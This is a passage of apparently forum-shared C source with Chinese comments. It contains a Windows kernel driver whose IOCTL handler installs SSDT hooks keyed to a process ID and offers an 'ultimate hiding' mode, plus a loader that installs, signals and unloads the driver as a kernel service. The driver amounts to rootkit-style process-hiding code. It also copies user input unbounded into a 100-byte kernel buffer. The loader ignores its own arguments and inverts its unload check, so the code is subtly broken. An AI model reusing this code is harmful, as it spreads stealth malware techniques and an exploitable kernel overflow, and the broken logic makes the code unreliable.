neg_flag = (*p++ != '+');
while(isdigit(*p)) res = res*10 + (*p++ - '0');
return neg_flag ?0 -res : res;
}
ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp)
{
// 獲取應用層傳遞下來的數據
char* InputBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
char* OutputBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
char Tmp[100] = {0};
ULONG Info = 0;
// 分析指令
switch(Ring3_Cmd)
{
case HOOK:
{
strcpy(Tmp, InputBuffer);
KdPrint(("用戶傳下來的數據 %s %d", Tmp,my_atoi(Tmp) ));
if(HOOKAPI(my_atoi(Tmp)))
{
strcpy(Tmp, "ADD 完畢~");
}
else
{
strcpy(Tmp, "ADD 失敗,PID超過有效范圍~");
}
break;
}
case UnHOOK:
{
if(UnHOOKAPI())
{
strcpy(Tmp, "UnHOOK OK");
}
else
{
strcpy(Tmp, "UnHOOK Error");
}
break;
}
case L_HOOK: // 終極隱藏
_L_HOOK = TRUE;
strcpy(Tmp, "已經啟動終極隱藏");
break;
}
strcpy(OutputBuffer, Tmp);
Info = strlen(Tmp);
return Info;
}
Exe完整程序源碼
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "stdlib.h"
#include "stdio.h"
#include<winioctl.h> //CTL_CODE
#define UHook CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS)
BOOL LoadNTDriver(char* lpDriverName,char* lpDriverPathName)
{
BOOL bRet = FALSE;
SC_HANDLE hServiceMgr=NULL;//SCM管理器的句柄
SC_HANDLE hServiceDDK=NULL;//NT驅動程序的服務句柄
//打開服務控制管理器
hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if( hServiceMgr == NULL )
{
//OpenSCManager失敗
//TRACE( "OpenSCManager() Faild %d ! \n", GetLastError() );
bRet = FALSE;
goto BExit;
}
//創建驅動所對應的服務
hServiceDDK = CreateService( hServiceMgr,
lpDriverName, //驅動程序的在注冊表中的名字
lpDriverName, // 注冊表驅動程序的 DisplayName 值
SERVICE_ALL_ACCESS, // 加載驅動程序的訪問權限
SERVICE_KERNEL_DRIVER,// 表示加載的服務是驅動程序
SERVICE_DEMAND_START, // 注冊表驅動程序的 Start 值
SERVICE_ERROR_IGNORE, // 注冊表驅動程序的 ErrorControl 值
lpDriverPathName, // 注冊表驅動程序的 ImagePath 值
NULL,
NULL,
NULL,
NULL,
NULL);
DWORD dwRtn;
//判斷服務是否失敗
if( hServiceDDK == NULL )
{
dwRtn = GetLastError();
if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS )
{
//由于其他原因創建服務失敗
//TRACE( "CrateService() 失敗 %d ! \n", dwRtn );
bRet = FALSE;
goto BExit;
}
else
{
//服務創建失敗,是由于服務已經創立過
//TRACE( "CrateService() 服務創建失敗,是由于服務已經創立過 ERROR is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" );
}
// 驅動程序已經加載,只需要打開
hServiceDDK = OpenService( hServiceMgr, lpDriverName, SERVICE_ALL_ACCESS );
if( hServiceDDK == NULL )
{
//如果打開服務也失敗,則意味錯誤
dwRtn = GetLastError();
//TRACE( "OpenService() 失敗 %d ! \n", dwRtn );
bRet = FALSE;
goto BExit;
}
}
//開啟此項服務
bRet= StartService( hServiceDDK, NULL, NULL );
if( !bRet ) //開啟服務不成功
{
//TRACE( "StartService() 失敗 服務可能已經開啟%d ! \n", dwRtn );
bRet = FALSE;
goto BExit;
}
bRet = TRUE;
//離開前關閉句柄
BExit:
if(hServiceDDK)
{
CloseServiceHandle(hServiceDDK);
}
if(hServiceMgr)
{
CloseServiceHandle(hServiceMgr);
}
return bRet;
}
//卸載驅動程序
BOOL UnLoadSys( char * szSvrName )
{
//一定義所用到的變量
BOOL bRet = FALSE;
SC_HANDLE hSCM=NULL;//SCM管理器的句柄,用來存放OpenSCManager的返回值
SC_HANDLE hService=NULL;//NT驅動程序的服務句柄,用來存放OpenService的返回值
SERVICE_STATUS SvrSta;
//二打開SCM管理器
hSCM = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if( hSCM == NULL )
{
bRet = FALSE;
goto BeforeLeave;
}
//三打開驅動所對應的服務
hService = OpenService( hSCM, szSvrName, SERVICE_ALL_ACCESS );
if( hService == NULL )
{
bRet = FALSE;
goto BeforeLeave;
}
//四停止驅動程序,如果停止失敗,只有重新啟動才能,再動態加載。
if( !ControlService( hService, SERVICE_CONTROL_STOP , &SvrSta ) )
{
bRet = FALSE;
goto BeforeLeave;
}
//五動態卸載驅動服務。
if( !DeleteService( hService ) ) //TRUE//FALSE
{
bRet = FALSE;
goto BeforeLeave;
}
bRet = TRUE;
//六 離開前關閉打開的句柄
BeforeLeave:
if(hService>0)
{
CloseServiceHandle(hService);
}
if(hSCM>0)
{
CloseServiceHandle(hSCM);
}
return bRet;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char FilaPath[MAX_PATH] = {0};
char FileName[MAX_PATH] = "UnHook.sys";
if(!strstr(lpCmdLine, "-") || !strstr(lpCmdLine,"<") || !strlen(lpCmdLine))
{
puts("參數格式:指定Nt內核函數的SSDT序列號-Nt內核函數命<");
puts("例如:122-NtOpenProcess<");
return 1;
}
GetModuleFileName(NULL,FilaPath,MAX_PATH);
*(strrchr(FilaPath,'\\')+1) = '\0';
strcat(FilaPath, FileName);
if (!LoadNTDriver(FileName, FilaPath))
{
puts("加載驅動失敗!...");
return 1;
}
Sleep(100);
HANDLE hDevice = NULL;
hDevice = CreateFile("\\\\.\\LoveMengx_UnSSDTHOOK_Driver",
GENERIC_READ|GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (INVALID_HANDLE_VALUE == hDevice)
{
puts("打開驅動失敗...");
return 1;
}
char Buff[1024] = {0};
char Tmp[1024]= {0};
ULONG dwWrite;
DeviceIoControl(hDevice, UHook, Buff, strlen(Buff), Tmp, 1024, &dwWrite, NULL);
if (UnLoadSys(FileName))
{
puts("卸載驅動失敗...");
return 1;
}
puts("完成操作~~");
return 0;
}
--- By L、
|